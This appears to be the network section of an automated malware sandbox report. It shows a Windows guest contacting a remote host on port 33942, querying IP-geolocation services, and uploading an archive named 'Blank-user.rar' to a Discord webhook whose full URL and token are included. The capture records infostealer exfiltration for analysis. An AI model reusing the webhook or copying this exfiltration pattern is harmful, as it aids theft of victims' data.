Nov 17, 2024 11:22:21.643969059 CET	49721	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:21.645735025 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:21.648926973 CET	33942	49721	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:21.650665998 CET	33942	49722	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:21.650763035 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:21.676417112 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:21.681423903 CET	33942	49722	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:28.929035902 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:28.934247017 CET	33942	49722	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:30.132998943 CET	33942	49722	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:30.133063078 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:34.018906116 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:34.020953894 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:34.393838882 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:34.694886923 CET	33942	49722	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:34.694911957 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:34.694941998 CET	33942	49722	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:34.695056915 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:34.695059061 CET	49722	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:35.002608061 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:35.007755041 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:35.019568920 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:35.024481058 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:35.706482887 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:35.711406946 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:40.909856081 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:40.914947987 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:44.175192118 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:44.180037022 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:44.188129902 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:44.189503908 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:45.128194094 CET	49723	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:45.129548073 CET	49724	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:45.133105040 CET	33942	49723	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:45.134533882 CET	33942	49724	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:45.135521889 CET	49724	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:45.249880075 CET	49724	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:45.254837036 CET	33942	49724	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:45.315901041 CET	49724	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:45.320919037 CET	33942	49724	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:53.623846054 CET	33942	49724	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:53.623920918 CET	49724	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.553608894 CET	49724	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.556078911 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.558722019 CET	33942	49724	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:55.560981035 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:55.561043978 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.606442928 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.611387968 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:55.644301891 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.649091005 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:55.675570011 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.680438995 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:55.690874100 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.695683002 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:55.722362041 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:55.727241993 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:22:58.034698963 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:22:58.118319988 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:00.831619978 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:00.836469889 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:04.044791937 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:04.044845104 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:06.003180981 CET	49725	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:06.005336046 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:06.008513927 CET	33942	49725	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:06.010189056 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:06.010273933 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:06.057050943 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:06.061923981 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:06.113498926 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:06.118463993 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:11.331630945 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:11.336673021 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:11.535917997 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:11.541093111 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:11.551496983 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:11.556536913 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:11.597204924 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:11.602190018 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:11.628463984 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:11.633382082 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:13.987951040 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:13.992997885 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:14.500782967 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:14.500870943 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:16.645378113 CET	49726	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:16.646028996 CET	49727	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:16.650374889 CET	33942	49726	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:16.650926113 CET	33942	49727	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:16.651175022 CET	49727	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:16.713491917 CET	49727	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:16.718493938 CET	33942	49727	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:22.065913916 CET	49727	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:22.070782900 CET	33942	49727	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:22.191107035 CET	49727	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:22.196059942 CET	33942	49727	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:25.515655041 CET	33942	49727	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:25.515726089 CET	49727	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.257756948 CET	49727	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.261389971 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.262918949 CET	33942	49727	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:27.266392946 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:27.269902945 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.399560928 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.405394077 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:27.456634998 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.461749077 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:27.519532919 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.524430990 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:27.565996885 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:27.571098089 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:30.253582954 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:30.258522034 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:33.271796942 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:33.276659966 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:34.191338062 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:34.196434021 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:35.760586977 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:35.760649920 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:38.036921978 CET	49728	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:38.039653063 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:38.041805029 CET	33942	49728	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:38.044681072 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:38.044756889 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:38.424041986 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:38.429488897 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:43.706758976 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:43.711553097 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:43.784845114 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:43.789665937 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:43.800507069 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:43.805443048 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:43.847388029 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:43.852359056 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:43.878571033 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:43.883374929 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:44.050502062 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:44.055638075 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:44.081603050 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:44.086605072 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:46.529719114 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:46.529829979 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.115725994 CET	49729	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.116141081 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.120652914 CET	33942	49729	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:49.121083021 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:49.121206045 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.361920118 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.366941929 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:49.378473997 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.383450985 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:49.394304991 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.399243116 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:49.472368002 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:49.477283001 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:54.238266945 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:54.243535995 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:57.609400988 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:57.609457970 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.862983942 CET	49730	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.866415977 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.867888927 CET	33942	49730	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:59.871377945 CET	33942	49731	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:59.871583939 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.907238007 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.912126064 CET	33942	49731	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:59.925318956 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.930187941 CET	33942	49731	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:59.972347021 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.977201939 CET	33942	49731	147.185.221.23	192.168.2.8
Nov 17, 2024 11:23:59.988009930 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:23:59.993079901 CET	33942	49731	147.185.221.23	192.168.2.8
Nov 17, 2024 11:24:08.352550983 CET	33942	49731	147.185.221.23	192.168.2.8
Nov 17, 2024 11:24:08.352617979 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:24:12.429292917 CET	49731	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:25:12.916258097 CET	49732	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:25:13.925280094 CET	49732	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:25:15.925308943 CET	49732	33942	192.168.2.8	147.185.221.23
Nov 17, 2024 11:25:19.925321102 CET	49732	33942	192.168.2.8	147.185.221.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 11:21:20.330359936 CET	62344	53	192.168.2.8	1.1.1.1
Nov 17, 2024 11:21:20.352200031 CET	53	62344	1.1.1.1	192.168.2.8
Nov 17, 2024 11:21:22.051997900 CET	50212	53	192.168.2.8	1.1.1.1
Nov 17, 2024 11:21:22.058840990 CET	53	50212	1.1.1.1	192.168.2.8
Nov 17, 2024 11:21:50.802855968 CET	58569	53	192.168.2.8	1.1.1.1
Nov 17, 2024 11:21:50.809957027 CET	53	58569	1.1.1.1	192.168.2.8
Nov 17, 2024 11:21:51.802392960 CET	56353	53	192.168.2.8	1.1.1.1
Nov 17, 2024 11:21:51.809190035 CET	53	56353	1.1.1.1	192.168.2.8
Nov 17, 2024 11:22:00.181283951 CET	59798	53	192.168.2.8	1.1.1.1
Nov 17, 2024 11:22:00.188334942 CET	53	59798	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 11:21:20.330359936 CET	192.168.2.8	1.1.1.1	0x3edb	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:22.051997900 CET	192.168.2.8	1.1.1.1	0x37cd	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:50.802855968 CET	192.168.2.8	1.1.1.1	0x9a3d	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:51.802392960 CET	192.168.2.8	1.1.1.1	0x1bd6	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:00.181283951 CET	192.168.2.8	1.1.1.1	0xa566	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 11:21:20.352200031 CET	1.1.1.1	192.168.2.8	0x3edb	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:20.352200031 CET	1.1.1.1	192.168.2.8	0x3edb	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:20.352200031 CET	1.1.1.1	192.168.2.8	0x3edb	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:22.058840990 CET	1.1.1.1	192.168.2.8	0x37cd	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:50.809957027 CET	1.1.1.1	192.168.2.8	0x9a3d	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:50.809957027 CET	1.1.1.1	192.168.2.8	0x9a3d	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:50.809957027 CET	1.1.1.1	192.168.2.8	0x9a3d	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:21:51.809190035 CET	1.1.1.1	192.168.2.8	0x1bd6	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:00.188334942 CET	1.1.1.1	192.168.2.8	0xa566	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:00.188334942 CET	1.1.1.1	192.168.2.8	0xa566	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:00.188334942 CET	1.1.1.1	192.168.2.8	0xa566	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:00.188334942 CET	1.1.1.1	192.168.2.8	0xa566	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Nov 17, 2024 11:22:00.188334942 CET	1.1.1.1	192.168.2.8	0xa566	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	208.95.112.1	80	3872	C:\Users\user\AppData\Roaming\skuld.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 11:21:22.065615892 CET	111	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Nov 17, 2024 11:21:22.714550018 CET	174	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 10:21:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.8	49716	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 11:21:51.814764023 CET	111	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Nov 17, 2024 11:21:52.427078962 CET	174	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 10:21:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49717	208.95.112.1	80	2360	C:\Users\user\AppData\Roaming\program.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 11:21:59.136667967 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Nov 17, 2024 11:21:59.783755064 CET	375	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 10:21:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 198 Access-Control-Allow-Origin: * X-Ttl: 52 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 22 72 65 76 65 72 73 65 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 2e 73 74 61 74 69 63 2e 71 75 61 64 72 61 6e 65 74 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"Texas","timezone":"America/Chicago","reverse":"173.254.250.70.static.quadranet.com","mobile":false,"proxy":false,"query":"173.254.250.70"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	172.67.74.152	443	3872	C:\Users\user\AppData\Roaming\skuld.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 10:21:21 UTC	94	OUT	GET / HTTP/1.1 Host: api.ipify.org User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-11-17 10:21:21 UTC	399	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 10:21:21 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e3efe4eff586c57-DFW server-timing: cfL4;desc="?proto=TCP&rtt=2242&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=709&delivery_rate=1271290&cwnd=251&unsent_bytes=0&cid=378a7c39ead3d4b2&ts=253&x=0"
2024-11-17 10:21:21 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 Data Ascii: 173.254.250.70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49718	162.159.128.233	443	2360	C:\Users\user\AppData\Roaming\program.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 10:22:00 UTC	302	OUT	POST /api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 502440 User-Agent: python-urllib3/2.2.3 Content-Type: multipart/form-data; boundary=6672d82bd038a7446290ef714c16a718
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: 2d 2d 36 36 37 32 64 38 32 62 64 30 33 38 61 37 34 34 36 32 39 30 65 66 37 31 34 63 31 36 61 37 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 68 75 62 65 72 74 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 e4 36 e6 ac 21 04 00 00 01 0f fa 7b 42 4a fc 8b ed ed bc 55 ee fb de 56 e7 c7 5c cc 1b 16 a8 3f dd 78 73 f4 bd f7 5c c5 c7 62 28 fb 3e d1 9e 6c b5 fc b9 8e 33 9f 63 cf ee 78 2c b2 bf a3 40 5d 78 da 72 91 1e 37 49 cc 5f 83 62 8b 8b be 3b d1 b1 9c bc 7c cc 21 46 93 3e 8b 92 28 f5 4c 1d Data Ascii: --6672d82bd038a7446290ef714c16a718Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!6!{BJUV\?xs\b(>l3cx,@]xr7I_b;\|!F>(L
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: 35 17 1e ae b8 91 3c 15 11 e1 9a 15 04 21 b5 78 37 5e b3 23 ed a1 16 7a 09 01 0d 96 03 cb 00 12 29 70 5e d2 b7 44 f7 ca 9e bc 0c 29 da ea 91 f3 d0 cc b4 c1 eb b5 b1 6d 0b 31 68 d5 34 a9 95 e8 06 78 25 b5 5d 4c 41 71 b6 34 d5 d2 0d d4 db 98 4c e6 9d 24 ca e7 9f 63 a4 de 35 97 a1 88 79 7d 57 81 e7 ed cb 0e 64 68 a5 4a 37 f9 39 f1 d3 60 5a 00 b0 a8 50 b0 98 11 81 3d 65 14 59 5a 6e 8c d9 4f f6 66 c4 5c 5b 3d d9 92 e4 7f 74 77 17 ed 38 f3 39 6f 5e 0f b3 3f 11 02 d6 5d f0 dd 50 8a 2f 95 dd a0 e4 19 32 47 f0 a3 df 46 76 28 96 fc 14 c8 df 76 f1 70 ad 79 47 3b 90 1e ee 56 4a 62 04 b5 da ae d5 73 52 c2 d4 47 f7 de 2a 7c 37 7e bb f2 c6 c4 08 7c 7c cb d4 09 39 39 27 d2 6f 00 c7 8d 31 9b 36 35 b3 f1 5f 41 c4 a3 8e d1 4f d0 65 61 dc 1f a5 50 63 be cc 8a 44 4c 34 65 9d Data Ascii: 5<!x7^#z)p^D)m1h4x%]LAq4L$c5y}WdhJ79`ZP=eYZnOf\[=tw89o^?]P/2GFv(vpyG;VJbsRG*\|7~\|\|99'o165_AOeaPcDL4e
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: 77 0c 77 c3 58 53 54 50 4c 13 e3 4e fa 3f 97 15 a8 1a d5 66 f9 79 12 b7 cb b6 6d 98 55 ea 4e 7e f7 38 7d e0 7b f6 cb 47 14 fc f9 21 3f 21 82 08 df 67 b1 9f c1 89 6e b4 cf 15 06 1d d3 8a 53 fc 48 c4 d1 96 38 78 6b 50 94 a2 0b e3 9a c1 a5 e5 c4 56 bd f9 48 77 49 c8 e5 4b d6 7c 86 32 22 36 c9 7c a5 1f c1 32 94 a6 40 1e 5a 3e b9 bb 12 1a e8 93 4c 7c d9 cf 72 b6 80 53 bd 83 a4 3f 0f a9 95 a7 74 c2 cf be 1d 94 7f 3a 4e 70 5f c8 17 a6 35 95 c7 21 8c 3d f1 7e b8 b9 1a 49 c3 f8 a6 cb f6 b2 b4 6a 8d c6 b5 d8 5b 6a f9 54 d5 a7 7b b6 97 b7 23 b4 13 a4 8e 55 4d 79 87 31 bb 58 8b 3e d3 cc a7 b1 d6 dd d1 90 1b 55 58 a0 ef d9 9a b8 df 8f 16 84 1d b9 70 9e bb 57 dd 4f 7e fa 74 14 3a 3e 4d 4a 01 eb c1 28 a6 74 07 00 d5 07 f5 8d 39 0d 8c c7 6a c3 01 79 d5 c5 c3 b1 97 bf 43 Data Ascii: wwXSTPLN?fymUN~8}{G!?!gnSH8xkPVHwIK\|2"6\|2@Z>L\|rS?t:Np_5!=~Ij[jT{#UMy1X>UXpWO~t:>MJ(t9jyC
